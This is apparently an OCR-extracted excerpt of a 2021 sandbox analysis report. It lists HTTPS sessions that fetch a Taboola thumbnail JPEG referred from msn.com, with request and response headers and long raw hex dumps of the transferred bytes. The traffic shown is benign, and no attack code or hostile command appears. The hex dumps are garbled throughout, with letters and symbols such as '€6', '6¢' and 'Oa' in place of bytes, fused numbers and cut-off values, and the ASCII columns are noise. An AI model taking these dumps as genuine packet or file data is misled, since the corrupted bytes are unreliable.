d7 3a 9f 79 22 75 6f a7 48 €6 52 08 e6 b4 66 75 f9 a3 cd 6d f8 c4 6¢ 15 4e bc 61 16 48 1d f9 0d 7e aa 9b 43 79 20 7e a6
1d 9f 96 55 53 62 7d 88 8a a2 6¢ 01 2f fd 22 00 22 79 1d 86 ba 9e 3b d1 40 17 51 8b 38 2d 88 16 81 c3 df €5 14 50 90 1b
Oa d5 8c ee 3a 85 21 db f3 ec a0 f5 8d 40 ed 23 40 94 ce d9 cd 37 5e 3d ce 6b 4a 26 84 38 34 f6 01 05 3d 1f 4f 1f ac 31 90
7e b6 e3 1f 64 72 da 8d c7 72 53 3a 15 dd 6d 66 1b

Data Ascii: e,g@tG]sj2$%#} &mF#"Imk=ycz 0" }?xC9s"hzC3C:y"uoHRfumINaH~Cy ~USb}l/""y; @Q8-P:!@#@7"=kJ
&84=01~drrS:mf

Data Raw: 8b d1 86 e3 b5 76 41 1e bf €9 e7 76 d7 26 6d a9 14 aa 06 d6 2d 14 22 79 d3 f2 36 11 21 2a c4 9c 86 2e b4 3b
7517 d0 67 a0 18 d8 f6 a4 61 36 40 aa 1f ee c0 b3 d4 20 2a 18 ac be d1 d0 b0 49 45 Oe 9f df 92 55 5d 97 al 00 eb 19 35
2f b2 72 75 03 e8 31 3e f2 76 6a bc 9e 56 42 59 Oe a6 da ec 46 05 85 ea 7e ad 3a 50 88 c4 59 ab a2 46 59 c0 50 10 fb ac
4558 57 00 54 05 c2 85 58 €9 6d 99 8d 0a b2 49 16 55 89 04 60 2d d6 9d 7a 7d 60 54 5a fc 6¢ 7f f1 95 fd b9 70 d7 1b 62
fe 30 8b ca fa 15 3f a2 6f 26 3f 7e e7 7c 90 b5 9a c8 Oc 9f 38 70 75 a5 59 c0 23 21 2e 07 ac 76 61 6a 11 63 b0 06 28 00 50
2a a4 39 38 a2 5a ee ¢4 b0 6a 00 7a 23 15 4f bf 65 45 0f 77 dc e2 fb 06 cO 27 b6 33 fd 8f ef 24 a9 d8 25 f2 e1 9b 51 18 a2
30 64 8e 8b c4 7d 96 c9 cd 5d 09 8d 9c 92 ae f1 fa

Data Ascii: VAv&m-"y6!*.;uga6@ *IEU]5/rul>vjVBYF~:PYFYPEXWTXmIU -z} TZIpb0?0&?~|8puY#!.vajc(P*98Zjz#
OeEw'3$%Q0d}]

Data Raw: 56 00 9c 05 a9 7b 32 d5 5d 8f 59 21 ea 87 39 5d b5 8a 33 67 53 8f 93 6b 76 44 bf 3b 94 6e f9 40 81 22 d3 95
el e5 4c fd d7 ae c4 25 c8 48 fa 1a 39 08 55 26 b0 c7 6b 9b 9a b6 0d 66 b4 8d 13 15 6¢ 8e 40 54 7h d9 f4 f7 4d f4 41 c8
99 43 55 2f 75 18 29 9c 01 9f 64 fb 8c 1f b1 81 cf a0 4a 10 a4 86 c0 e0 7a ea a5 48 f7 96 48 26 d9 db af 72 ee 6b 36 24 34
de f8 d8 93 6b 73 6b 94 db 5f Ob b8 f8 d8 b7 e6 1b ae f3 79 44 a3 bb aa 7e b9 4e 78 97 2a bb a2 54 Oe e8 be cb 62 1a 90
80 10 85 3d 49 78 d5 c1 cd bd 71 d8 90 ba ef 40 03 9b 1e ce 33 12 2e 87 ee 01 71 c3 9b 5c 23 a2 80 4f b2 d8 05 8f 59 fe
1054 13 63 e4 b0 11 d5 88 55 31 9b 1e 82 fc 75 f9 28 0d dc de 3b e7 29 2c ef 14 d1 c1 9c ac 2f a7 e2 7a 7c 65 ef 4e 78
ee 27 4a 38 53 45 cc dc e7 20 e7 24 8c 1d dd 05 cf 1f

Data Ascii: V{2]Y!9]3gSkvD;n@"L%H9U&kfl@ T{MACU/u)dJzHH&rk6$4ksk_yD~Nx*Tb=Ixq@3.q\#OYTcU1u(;),/z|eNx'
J8SE $

Data Raw: 05 05 00 00 00 00 00 00 00 01 02 00 03 11 04 10 21 31 41 12 20 13 22 42 51 05 33 61 71 72 23 24 32 52 81 ff
da 00 08 01 03 01 01 3f 00 98 5¢ 30 1e 66 1la cf Oc 01 b6 92 b5 1e 9f 32 cb 03 c4 65 bl c9 62 76 d2 17 a8 83 dc 88 9a 44
61 1d 45 cf b4 71 d0 c4 18 ed 92 c4 83 b3 0f f3 €9 fe 53 al 5e 9e a2 74 b2 99 79 8a 1a 2b 42 72 58 90 67 b9 94 3e 75 3f
€8 44 3f a6 23 42 45 ed 31 02 f4 db 21 16 26 83 33 95 02 05 6a 7f 90 89 f2 e3 42 2e 6f 1b 50 47 d2 32 da c6 01 29 8e 62
8c cc 0b 01 b1 06 51 7e a4 fb 8b ca a6 c2 2b 03 0d 8b 42 b7 ea 04 73 3a 6¢ 6d 14 69 16 5b 30 32 f8 7d 4b d1 51 c8 d2 62
09 b8 02 2a 1e 67 45 8c 23 ce dc 1d c4 65 8a 35 80 76 Oc b0 Of 6a a5 7d c4 1a d4 26 11 08 95 16 f6 32 dO 08 3b 01 cb Oa
d6 ae 9f 53 17 68 04 31 8¢ 30 76 Oc b1 58 60 11 1e 98 e0

Data Ascii: |1A "BQ3aqr#$2R?\0f2ebvDaEqS ty+BrXg>u?D?#BE1!&3jB.oPG2)bQ~+Bs:Imi[02}KQb*gE#e5vj}&2;Sh10vX"

Data Raw: 88 40 30 97 b8 01 61 72 1a 33 bd 91 68 77 d6 ee dd 02 22 9d 3b 01 fa 91 0d 03 65 2a d1 7e 5d a7 ac 27 41 39
50 08 c4 d9 07 38 9d 21 a4 a9 7c 99 1b 0f 03 96 5e d4 35 83 a5 c3 b8 51 cc ae c8 68 aa 2e df ca ef fd f4 44 d3 69 fe e3 72
€6 77 ee 3a a6 81 f5 68 9b 3b bb 7a 15 a9 c5 ba b4 75 83 78 4c d5 83 04 d3 70 1f f6 a0 34 c6 al ac 39 d3 6 54 dc c1 49
97 92 08 d5 78 32 a5 ef 98 07 a0 4d 2e 12 5¢ 76 01 5¢ 01 75 8e 56 b4 1e 56 26 02 00 38 22 db 74 90 7c 21 fO 76 €5 97 a2
€7 14 18 5d 6d 79 Oa db 1e bf 82 1f a0 96 1e e2 f2 83 38 92 e9 a5 55 df 43 ¢6 0d 37 8c 27 d2 87 1d 74 8d e3 bb 50 0f 74
39 b3 f4 3f b8 ee 9f 4d d6 c9 b4 5 Oe 54 da el b6 b0 7f 89 54 8c €9 02 c4 e0 2f 59 d0 26 06 90 21 0d 6f 03 5e 8b 5b a4 a8
6b 6¢ 2d 6e 5b 00 82 2a d2 10 b0 10 10 89 b1 e8 51

Data Ascii: @0Oar3hw";e*~]'A9P8!["5Qh.Dirw:h;zuxLp49TIx2M.\W\uVV&8"t|'vjmy8UCT7'tPt9?MTT/Y&!o"[KI-n[*Q

Data Raw: 20 a7 55 7f 05 48 3e 8b 77 aa 09 d2 d6 2e Of 8e ac d7 12 de 1b 8a 6f af 49 8d 38 68 a5 d1 ab 87 el c9 le ce
3782 a4 58 58 7c 34 ca e0 38 f0 f1 34 f8 3e 32 ae b7 cO d8 1b 3d a7 c8 5¢ 57 f4 e7 11 02 b8 1e b7 Oc 7c 3d 8a 95 56 1c
3a 9b 83 80 45 dc 45 27 b6 bb 18 27 df a2 65 a9 cf el e8 54 7b 83 33 a7 d4 80 6 f8 72 d4 78 76 7a d4 9e dc be 83 84 94
8 3c 33 05 46 37 €9 73 58 d8 b8 50 d9 8e 72 7a 74 1d 57 b6 54 05 12 21 5d 48 dc 2f 6b 41 84 61 c2 14 ff 00 88 4f 93 16
26 c2 10 8f dc a8 e4 7d 1a 44 06 80 26 fb 12 a9 d4 81 76 35 de €9 77 6¢ d9 06 1e le 8b 69 33 8¢ a2 c9 c0 89 96 c3 9a aa
8e 05 97 a2 ce 20 c5 48 68 b9 95 5¢ 50 c1 6d 46 b2 bc 37 a0 5 43 97 05 56 a5 46 ea 15 5b c2 Oe 08 df bf Oc 58 b5 b4 38
06 b8 16 8a ad 07 79 b3 5c a9 3e 9f 1b 4d f5 9d 4d 8e 65

Data Ascii: UH>w.0l8h7XX|484>2=\W/|=V:EE"eT{3rxvz<3F7sXPrztWT!|H/kAaO&}D&v5wli3 Hh\PmF7CVF[X8y\>MMe

Data Raw: 8e 81 5e 16 ff 00 Oa 1c 48 46 e2 42 8a bc 57 10 ca 24 f4 el e8 dd ff 00 72 14 53 a5 4d cf 7b fa 02 60 Of 25 Od
6c 61 a4 Oe c1 d1 7f b4 ad 4f ad e8 d3 79 39 8b b9 1f 49 9c 1b 69 4f 70 e4 74 34 b9 83 b6 93 Ob da 5f 85 31 ab 52 70 a7
58 86 13 b0 2e 2a 38 7a 66 1a 31 ea 39 06 32 a3 5¢ 5a 3b 04 3e 42 f6 bc 59 dd c7 €0 cf 29 e7 7e f8 2a 21 59 38 7c 27 1b
d8 al 3c 35 23 49 92 72 f7 15 a3 57 Oa ee 26 b7 f1 4d 85 02 ff 00 44 3a a3 88 cd 5a c¢7 51 5a 9a d7 10 3b e8 11 a9 3a 2b
43 b4 f5 d0 ec a8 ff 00 8¢ ab 2d e8 a0 32 e0 Oe 80 a3 ee 7d fb 82 88 70 69 2d f8 28 €8 78 el 8b €9 6¢ 64 49 4¢ 7b 29 dO
06 94 8c 15 ef 0d 97 06 5a e5 7d 2e Oe Ob 6f f9 05 02 3a 20 9c 66 44 95 23 f4 a7 35 ae 73 b8 9e 2c 8d el c4 31 bf 25 1d
05 el c1 bl 8a 74 c4 34 7d d4 bc 92 f7 78 6b 07 fb 95

Data Ascii: \HFBWS$rSM{ %laOy9liOpt4_1RpX.*8zf192\Z;>BY)~*IY8|'<5#IrW&MD:ZQZ;:+C-2}pi-(xIdIL{)Z}.0: fD#5s,1%t4}
xk

Destination IP Destination Port Process
151.101.1.44 443

Data

GET /taboola/image/fetch/f_jpg%2Cqg_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:auto%2Ce_sharpen/http%3A%
2F%?2Fcdn.taboola.com%2Flibtrc%2Fstatic%2Fthumbnails%2F18faa6af75b04f0199f63404d815074b.jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/jxr, image/*;q=0.8, */*;q=0.5

Referer: https://www.msn.com/de-ch/?ocid=iehp

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

Accept-Encoding: gzip, deflate

Host: img.img-taboola.com

Connection: Keep-Alive
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kBytes
Timestamp transferred

2021-10-20 13:08:56 UTC 44

2021-10-20 13:08:56 UTC 45

2021-10-20 13:08:56 UTC 46

2021-10-20 13:08:56 UTC 48

2021-10-20 13:08:56 UTC 49

2021-10-20 13:08:56 UTC 50

2021-10-20 13:08:56 UTC 52

Copyright Joe Security LLC 2021

Direction

IN

Data

HTTP/1.1 200 OK

Connection: close

Content-Length: 15784

Server: nginx

Content-Type: image/jpeg

access-control-allow-headers: X-Requested-With
access-control-allow-origin: *

edge-cache-tag: 584385527964933043724450997812708027208,335819361778233258019105610798549877581,29¢ec
f9b93bbf306179626feedalfab70

etag: "ae4278f4943a7a8732926734e9e746f0"

last-modified: Wed, 29 Sep 2021 11:01:59 GMT

status: 200 OK

timing-allow-origin: *

x-ratelimit-limit: 101

x-ratelimit-remaining: 99

x-ratelimit-reset: 1

Xx-request-id: bc8b1e8468ddb53bcb1fe673cd3eb322
X-envoy-upstream-service-time: 65

X-backend-name: LA_DIR:3FP7YNX3LMizprTZsG7BSW--F_LA nlb202
Cache-Control: public, max-age=31536000

Accept-Ranges: bytes

Date: Wed, 20 Oct 2021 13:08:56 GMT

Via: 1.1 varnish

Age: 1815419

X-Served-By: cache-wdc5546-WDC, cache-mxp6964-MXP

X-Cache: HIT, HIT

X-Cache-Hits: 1, 1

X-Timer: S1634735336.999763,VS0,VE1

Vary: ImageFormat

X-debug: /taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:auto%2Ce_sharpen/htt
p%3A%2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic%2Fthumbnails%2F18faa6af75b04f0199f63404d815074b.jpg
X-vcl-time-ms: 1

Data Raw: ff d8 ff €0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 84 00 07 07 07 07 07 07 08 09 09 08 Ob Oc
0b Oc Ob 10 Of Oe Oe 0f 10 19 12 13 12 13 12 19 25 17 1b 17 17 1b 17 25 21 28 21 1e 21 28 21 3b 2f 29 29 2f 3b 45 3a 37
3a 45 53 4a 4a 53 69 63 69 89 89 b8 01 0c Oc Oc Oc Oc Oc 0d Oe Oe 0d 12 13 11 13 12 1b 18 16 16 18 1b 28 1d 1f 1d 1f 1d
28 3d 26 2d 26 26 2d 26 3d 36 42 35 32 35 42 36 61 4¢ 44 44 4c 61 70 5e 59 5e 70 88 7a 7a 88 ab a3 ab 0 e0 ff ff c2 00
1108 01 37 00 cf 03 01 11 00 02 11 01 03 11 01 ff c4 00 34 00 00 01 04 03 01 00 00 00 00 00 00 00 00 00 00 00 00 04 05
06 07 01 02 03 08 01 01 00 03 01 01 01 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 06 ff da 00 Oc 03 01 00 02 10
0310 00 00 00 ba ba f9 80 00 08 01 22 27 20 08 00 01 20

Data Ascii: JFIF%%!(!1(1;/))/;E:7:ESIISici((=&-&&-&=6B525B6al DDLap" Y pzz74"

Data Raw: a7 07 67 a2 7e 67 d2 eb Oe 66 c0 40 31 fa 08 Oe 1e f6 a9 48 d3 8a f2 37 9d 63 5b e7 10 52 fc 10 d1 bf 3d a5 19
76 85 39 e8 f1 d6 fa d2 4b 11 04 fa 8f 27 95 a7 54 e4 d9 13 5e Oe cf 44 fc cf a5 bl 83 68 64 80 e3 f4 10 7c bd be ca 6f 11
d2 6a ff 00 5f 18 8c 9d e6 9d 6f 91 6¢ dd 60 ef 5a 79 bb d8 3 e3 b4 9e 75 b7 Of ab f1 91 ce 84 b2 6d 31 31 el e9 f4 8f cc
7a 20 19 32 9a fb Of a2 83 e3 ee 6e 8e 2b 12 72 a7 99 21 9f 29 74 d1 7c d0 15 b3 c7 04 f9 df ea bc 66 8c f4 94 5a 8c df 45
€6 37 6b 3a 2d a9 b1 2c e3 e9 f4 b7 cb fa 1a ¢8 33 00 ae f0 fa 58 Oe 3f 41 b2 34 4f 55 64 d3 el 75 af 9c 8a 2c da 89 b5 al
53 36 5e 6¢ €9 8f a7 f1 d1 e5 a3 fa 16 7a bc 91 9d ea 9a f0 25 75 66 55 86 {7 ff 00 cf f6 b6 a7 al c4 de 26 11 8f bf Of c7 de
de 34 52 aa a9 cd 05 74 b3 ab f2 65

Data Ascii: g~gf@1H7c[R=v9K'TADhd|oj_ol'Zyum11z 2n+r!)t|fZE7k:-,3X?A40Udu,S6"Iz%ufU&4Rte

Data Raw: 26 4b 39 98 b1 94 8d 48 Oe 3f c6 a7 61 66 d2 5¢ 7a b7 11 57 48 b2 22 ea eb ac 99 30 cb 37 6¢ 1f d5 75 57 7b
66 bl b3 ea a9 7e ad 61 a6 c9 8d 6d 3d 83 6b 1a d4 f8 b0 d5 7c f8 4d 8b 7e d7 dd dd ce 14 cd 82 ea 6¢ 4d bc 0a d3 85 el
2d 85 9a ea ec 08 15 20 5e 43 13 d7 e2 29 ea 32 fd c1 f2 14 c4 ec 5f 32 4d b2 79 a0 b6 01 cc 54 ac 25 9d 66 3a 47 19 5d
b6 00 66 65 5b 74 9d c8 a9 4a b0 58 d8 97 cb 78 fb 2f 59 09 ea 74 2b bd 43 65 06 00 d9 3b 0a 5¢ 8b a2 ca 58 f0 95 c6 72
53 65 6d 3b eb c4 69 35 27 af 35 f8 44 48 96 d6 23 ba 27 ee d5 59 cf e3 74 f4 38 f4 00 35 ee ed f4 c5 f3 0a 98 8e 23 36 f6
ba a7 53 b5 c6 b6 e7 b9 07 b6 d0 29 4b 9a c6 83 8a b4 db a6 7f 96 b5 43 b8 dd 14 48 42 9b bb de f9 b2 66 a2 75 55 ec da
0d 85 ba 6f 85 b4 c6 27 36 5b 39 d5 81 dd 1a 7 f6 Of

Data Ascii: &K9H?af\zZWH"07luwW{f~am=k|M~IM- ~C)2_2MyT%f:G]fe[tIXx/Yt+Ce;\XrSem;i5'5DH#Yt85#6S)K CHBfuU0'6[9

Data Raw: 8e 84 64 a6 22 22 d3 1f 04 15 ea a6 a7 a7 db 08 b5 69 8e d9 07 a6 b5 4a 26 4f 73 b8 el 2e d6 d4 9b 94 ef €9
ad 02 77 fa 4b 31 2d 8e 9a 71 81 d9 4e 6f 6¢ 4d 0d 26 €2 €0 4f ee 54 5d 72 89 ba b2 Ob c8 82 8b e3 d5 cb 1f 19 19 13 91
39 €9 2d 8f 1d fe d2 be 79 67 9c e7 9e 79 e7 e 7a 82 5e 37 f5 Oc 89 fa 89 82 89 ¢2 b9 dc fc e4 5b ee 23 e5 5b 29 12 19
8¢ d5 6f 74 f2 6d 33 8b 9c 93 54 89 36 1d aa fc c7 55 65 92 0a b2 bb 33 62 22 19 16 ea le a7 62 da d3 96 46 21 a5 31 89
6¢ 4e 73 f7 12 b8 66 ec e3 2¢ c7 90 54 06 b2 fc ¢3 1a 8 88 b4 70 cb 0d ef 08 3a 8e ff 00 a0 47 73 9e 3d 67 a6 45 21 cc d1
19 d6 78 ce 78 fc el Oc fc 64 46 7a 8c 33 Oc d0 96 00 7c 77 96 57 d7 8c ¢6 7d d1 82 53 13 9a 39 41 d9 62 6¢ ae f7 1a 46
ce b7 d1 d5 0d 3e 97 5f a6 ad f4 d5 92 68 13 99 90 2f

Data Ascii: d"iJ&0s.wK1-gNoIM&OTIr9-ygyz~7[#])otm3T6Ue3b"bFI1INSf, Tp: Gs=gE!xxdFz3|WW}S9AbIF>_h/

Data Raw: 70 27 b2 18 89 e6 41 5b 65 c9 7 6f 31 6a 94 ba 3a f9 5e 56 1e be 07 11 13 28 a3 d4 9b 07 ed ea 6¢ 3f a4 94
86 33 b9 f1 09 8d fb 60 c5 48 06 fO a4 2e ef 38 d2 df 60 6a Oc ae b6 e5 d3 cf 31 85 f5 39 b2 71 31 d2 a5 e5 3a 15 b5 da 8f
d4 62 75 d0 24 56 Of 1a al 98 ca ba d7 ec ed 22 a2 8a 82 f4 fa 0a 83 ad a9 03 b3 1a 66 72 52 8b d7 77 bl 21 47 28 69 b5
ba do 3 Oc df ed c3 5f af b6 df 64 ad 9e ¢8 81 90 7a 2a d0 8d 45 51 19 9f b6 62 27 3e 62 3e 32 b8 cc b9 31 31 61 f2 eb 57
1a 73 6f da 20 d7 88 02 05 87 Ob 89 94 48 fd 35 41 13 26 2c 9c 23 18 6d 8e bc 66 16 cf 23 33 f2 b2 Oc d8 ec 84 62 78 34
cl b2 f4 8c €9 47 da a7 58 63 1e c9 00 9e 89 4b 7 5b d4 66 f2 da €8 ac 00 33 55 31 15 98 38 11 05 19 c6 ae a6 8e 6 b3
9b 96 e8 fe ac 2c 54 47 fa 62 99 10 a6 e9 c5 c4 27

Data Ascii: p'Aleolj:"V(1?3"H.8'j19q1:busV"frRw!G(i_dz*EQb'>b>211aWso H5A&,#mf#3bx4GXcK[f3U18,TGb'

Data Raw: 8e 6¢ 09 94 ea d2 73 a5 5e c¢7 a0 38 84 1d fe e2 17 38 53 be bc 7d 65 67 d4 d6 d2 31 f1 41 20 dc 4e 1e a8 f9
4e 37 b7 d6 29 3f 28 c6 72 63 f1 34 97 09 77 23 b6 df 78 95 9e ab 9b 85 00 0d 84 ed eb 2f 37 33 ac 39 31 b0 cc ac 2e 2f
38 7e 20 5¢ 53 a8 df 95 8f 5f 23 38 87 d1 59 ac 33 8b 7f 00 ce 48 01 98 9b 74 85 af 38 61 65 73 de d0 72 bd 8c bf 2a 8b
ed 55 c0 e9 bl f3 1b ¢7 01 96 de 70 bb 38 56 63 73 a4 Ob fc 6d a3 35 b0 37 97 82 ec 6¢ 37 94 d0 d3 5d 07 70 73 04 b9 e4
7699 7b 5b 09 d4 c3 a5 14 93 85 03 fe 25 5a 82 b6 b7 00 29 bd ad 13 20 8f 8b 7b 74 85 8f 43 ea 7f c0 97 e5 c1 53 bd ea
le 9b 43 60 e4 9f e6 fd 60 52 48 18 84 1b 9c 5b 31 c8 5b 5f 27 a0 1d 66 96 6b 6b 1f 49 6b ee 41 33 89 ae 6b 36 80 7c 00
fd cc 00 00 49 32 e6 f0 3f 71 35 af 63 03 21 fe 69 6f 7¢

Data Ascii: Is"88S}eg1A NN7)?(rc4w#x/7391./8~\S_#8Y3Ht8aesr*Up8Vcsm5717]psv{[%Z) {tCSC " RH[1[_‘fkklkA3k6|127q
5clio|
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kBytes

Timestamp transferred Direction
2021-10-20 13:08:56 UTC 53 IN
2021-10-20 13:08:56 UTC 54 IN
2021-10-20 13:08:56 UTC 56 IN
2021-10-20 13:08:56 UTC 57 IN
2021-10-20 13:08:56 UTC 59 IN
2021-10-20 13:08:56 UTC 60 IN
Session ID Source IP Source Port
6 192.168.2.5 49836
kBytes
Timestamp transferred Direction
2021-10-20 13:08:55 UTC 16 ouT

Copyright Joe Security LLC 2021

Data

Data Raw: 4b 53 66 24 4f 63 50 85 3a Oc a6 08 66 b8 b1 18 f7 12 8a 38 62 6f 73 b1 ed Oe 29 a8 fe a3 04 e8 3f 21 fd 79 de
24 fd 2e 49 94 45 93 d7 3c f8 87 02 9e 80 32 48 94 b3 51 6d eb 0d cc 27 c4 49 cb 13 73 28 ab 33 83 75 Oa Oe 65 af b6 d2
d1 55 ce 6d 19 05 35 21 77 3f f1 2a d4 74 a8 54 85 6b 75 22 53 bd 89 3b 93 ee 1a 8e a5 c2 9b 03 08 f0 20 f5 3¢ ba 0f c8
7f5e 7b 91 36 3e 92 f8 31 57 48 03 b0 e4 d2 b9 b3 7a 09 44 78 db c9 66 62 02 5¢ 00 04 dO 29 b5 3b ed b9 8a 01 16 96
44 df 27 b4 6a ac d8 18 12 6 56 7b 5e c2 31 2c cc cd b9 39 80 58 01 ee 1d cc 6d 93 d3 5 3c ba 7f 69 e6 a3 37 81 ac 18 fd
a5 3d 80 3d 08 87 95 c0 Oc c7 61 98 ec 6d 9d d8 dd a5 0d ea 1f 4e 5¢ 21 51 ¢4 0d 67 71 61 1d 11 b0 dd 20 f0 fc 91 07 7d
e3 05 5¢c b6 d2 7 37 38 02 61 aa 31 03 05 8d bd d3 d7

Data Ascii: KSf$OcP:f8bos)?!y$.IE<2HQm'Is(3ueUm5!w?*tTku"S; <{6>1WHzDxfb\);D'jV{*1,9Xm<i7==amN\!Qgga }\78al

Data Raw: ff 00 29 b0 a0 Oa 8f ee 67 65 c1 e8 56 c8 f6 d8 7d 07 48 cc 4b 00 a2 fa 93 b0 81 45 51 d7 a9 8d 85 49 d0 d4 f4
0f c9 81 87 16 51 f0 5f 94 bf 5¢c ¢4 c1 95 f5 ae 11 d4 c3 88 e2 50 43 dd 1b a3 15 83 78 1e 9d f9 9b d2 66 ca 49 e7 5f 48 b6
be d6 a4 ec 35 84 63 72 4b 8e 54 2b 43 19 70 81 a0 70 49 d8 93 08 b3 af 2d bc 3b bb 16 10 4f a6 7d 81 f6 07 53 d6 3b 71
02 20 d2 Oe eb 97 0d 36 8¢ 01 8e 98 f5 el bl 5a 75 b2 79 42 0a 92 Oe e3 d4 f0 13 2e 32 8a a6 ef 5a 30 3f 06 34 b3 66 al
a736c7 48 el laa8 91 e4 67 a4 75 20 3d 30 eb 06 7c 60 8e 20 54 f2 €8 60 60 49 36 2e cc 62 36 98 c0 77 0a 66 55 45
2b 57 67 94 ¢5 89 31 Oe 3c c2 c9 15 ¢3 57 50 26 27 3¢ 69 88 6d 46 c6 90 ab 37 bc 60 5a d0 09 c2 65 19 46 57 73 b1 03
4d 9 44 03 88 9e 4b ec 8f dc ce dO 2c 2b 74 35 ea 63 5e

Data Ascii: )geVIHKEQIQ_\PCxfl_H5crKT+Cppl-;0}S;q 6ZuyB.2Z0?4f6Hgu =0|" T "16.b6WfUE+Wg1<WP&'<imF7'Z
eFWsMDK,+t5¢c”

Data Raw: ad bf 5a 86 37 bc 7e 65 87 b9 b5 68 05 09 94 5a 8f 38 e2 9d 87 8¢ 13 b3 a8 e2 f4 87 96 d1 27 6b 34 d8 c7 45
32c4 1b 8e 82 67 el f4 ac 46 80 cd fh ae 84 17 ef 59 15 b4 4 8¢ f8 31 96 3a 91 af a9 cc 79 ca d6 63 f7 07 89 27 ea 6e 1d
e3 7b e7 cd 3b d7 53 7f fe d7 5e e3 44 4c d8 6e fa 88 30 b9 34 74 11 40 a3 5¢c aa a0 e5 3b 66 b9 17 c1 3b 9a b8 5f e5 8d
4f 7e 71 96 a0 f1 9a 5f 84 3e d1 0a 23 68 11 40 a0 17 6f 53 18 bc 8b 18 d0 63 d0 18 07 0a a8 €8 00 9c €3 7b e7 cd 7b 9b
dd 6f 23 36 06 bf 11 ef 35 74 65 18 ab a5 40 35 13 21 4 8e ed ca f4 f2 1d df ff c4 00 43 10 00 02 02 01 02 03 05 04 06 08
03 07 05 00 00 00 01 02 0311 00 12 21 04 31 41 13 22 51 61 71 05 10 32 91 20 30 42 81 al bl 14 2352 62 72 82 b2 c1
4054 92 06 43 83 a2 c2 d1 el 24 34 50 53 e3 ff da 00

Data Ascii: Z7~ehZ8'k4E2gFY1:yc'n{;S"DLn04t@\;f;_O~q_>#h@oSc{{o#65te@5!C!1A"Qaq2 0B#Rbr@TC$4PS

Data Raw: 8b b2 e6 d1 67 21 71 f4 ed b3 c8 cd 8a be 8b 47 00 67 82 bf 94 10 5b 15 a5 55 d4 a8 a6 c9 d3 cd 47 8e 76 65
9a d5 b0 08 db 87 d6 d5 b8 b4 17 a9 4e 35 1b d2 39 11 47 eb 76 24 10 7c 08 37 78 4a 9d 21 ab a6 8c d6 88 9d c8 c7 56
e4 09 cb 55 27 4a 47 b9 62 31 92 3e 1f 87 7b 72 45 92 d2 2a e6 €6 65 18 06 f8 3d d7 19 8d c3 83 e0 c2 b0 46 e8 c4 6¢ 34
dd 1b 03 fb 8¢ 09 c4 a4 9a 24 24 69 b7 3b 86 f5 37 85 62 6b 59 2b 76 60 0d e9 f2 cO a8 a0 05 51 c8 01 f5 c1 e4 74 b4 el
c7 c4 de 6d fb 2b e7 89 04 6f b8 85 07 al 1a bl 25 24 Ob 12 3b Oe 47 61 74 75 7d f8 b1 50 82 25 Oa 36 b0 cc e7 28 8e 22
2feaclccd6 6d a8 Of 77 79 ce 17 8b 82 58 95 25 e8 {3 46 5f b4 08 7a 8d c2 f9 b0 c2 04 fc 03 b5 37 30 f1 91 a7 1a 45 e2
3854 77 f2 96 a9 ff 00 11 5 c9 2f b4 25 15 Oc 1d 16 f9

Data Ascii: g!qGg[UGveN59GVS$|7xJ!IVU'IGb1>{rE*e=FI4$3$i;7bkY+v Qtm+0%$;Gatu}P%6("/mwyX%F_z70E8Tw/%

Data Raw: 05 d6 e5 ad d5 54 e0 44 ae f3 91 6¢c e7 ¢4 9c d3 5d 3a 1c 3a 5¢ ac 13 f4 d1 22 f2 3e 84 7b ff 00 {7 7e d2 89 1d
7c 51 14 bf e6 06 07 ec a5 88 a9 17 cc 1e 58 Oc ae 4b 1d 24 3b d9 3d 4d d0 19 b9 d3 67 ee fa 3f ee 67 fe 8f a5 d6 7f c9 33
6¢ f4 f7 fc 16 3e 78 aa 00 e4 31 15 01 db 55 d9 18 cb 67 9f 31 8e a2 59 ca 95 08 43 28 4f 82 40 4e 36 c0 2b 03 cc 11 ee
b7 82 29 78 87 ff 00 8a 42 af f4 65 a7 Of 21 44 8a 87 7e 5a bb 6b e8 b8 55 63 8c €9 4a 1b 93 b0 19 b9 55 fc be 8f 38 67 fe
8f a5 d6 7f fa 3e 8f 5e f7 a9 eb 87 b0 53 f0 fe d9 ff 00 b6 05 5b e5 85 23 27 51 62 2b 61 be 6d 22 ea 7f 53 9f 1a al Ob €9
77 ee da 1a 89 07 94 48 03 67 Ob 3c 5a c4 a3 5b ba b0 7b €6 d4 c0 1c el 78 39 6d 3b f0 17 67 f8 b4 d7 7c b0 1f 16 13 al
23 fc 47 fe 3e 8f ff 00 7f e3 13 7d 2f 3 1f

Data Ascii: TDIJ:\">{~|QXK$;=Mg?g3I>x1UglYC(O@N6+)xBe!D~ZkUcJUBg>"S[#Qb+am"SwHg<Z[{x9m;g|#G>}/

Data Raw: 17 33 93 d7 bc f7 80 54 72 d0 2d 7c e4 63 58 6¢ 5d 03 e7 d3 2b ff 00 4c d7 ce f6 62 2¢ 65 d2 93 cf cb 37 Ob ce
183 28 01 7c 2c 6¢ 37 f2 02 f1 99 46 9d 44 9b a4 19 73 c3 ec f9 el 8b d2 50 1f 39 46 33 98 cd d9 82 8¢ 05 d1 0d 20 1b
a5 le ed ff 00 17 3c b6 56 5d 47 ce bd c0 2f 66 f1 82 7a 17 1b 1c d4 ac 45 d1 af 43 8f 24 68 6¢ a0 62 01 f2 f3 c5 8e 25 5a
55 1b 05 03 2c 5 73 fO a8 f1 38 Oa aa 16 9a 47 fb 58 b1 a6 b7 91 17 a0 2e d4 9f 22 73 ba 8a 11 77 da 80 af 76 fe 99 b2 db
1f bb 3e 37 d5 el f1 1c d2 3f 44 83 6b 04 8b 5d 59 b0 b6 06 bc Oe 00 7b 19 81 5b 1b {7 df 28 95 3b 7a e0 d6 c3 08 66 00
02 0d ee db 7e 41 b3 f5 f2 ad b8 ea a3 09 d7 0a 30 50 68 ea 57 d2 47 c9 b0 a8 8b 8a 90 2a fe e9 36 be ea 8a 17 ec 20 1f
b7 29 1b b7 a2 e4 a5 22 60 24 ed 40 37 29 f4 e6

Data Ascii: 3Tr-|cXI]+Lb,e7(],I7FDsP9F3 <V]G/fzEC$hIb%ZU,s8GX."swv>7?DK]Y{[(;zf~AOPhWG*6 )" $@7)

Destination IP  Destination Port Process
151.101.1.44 443

Data

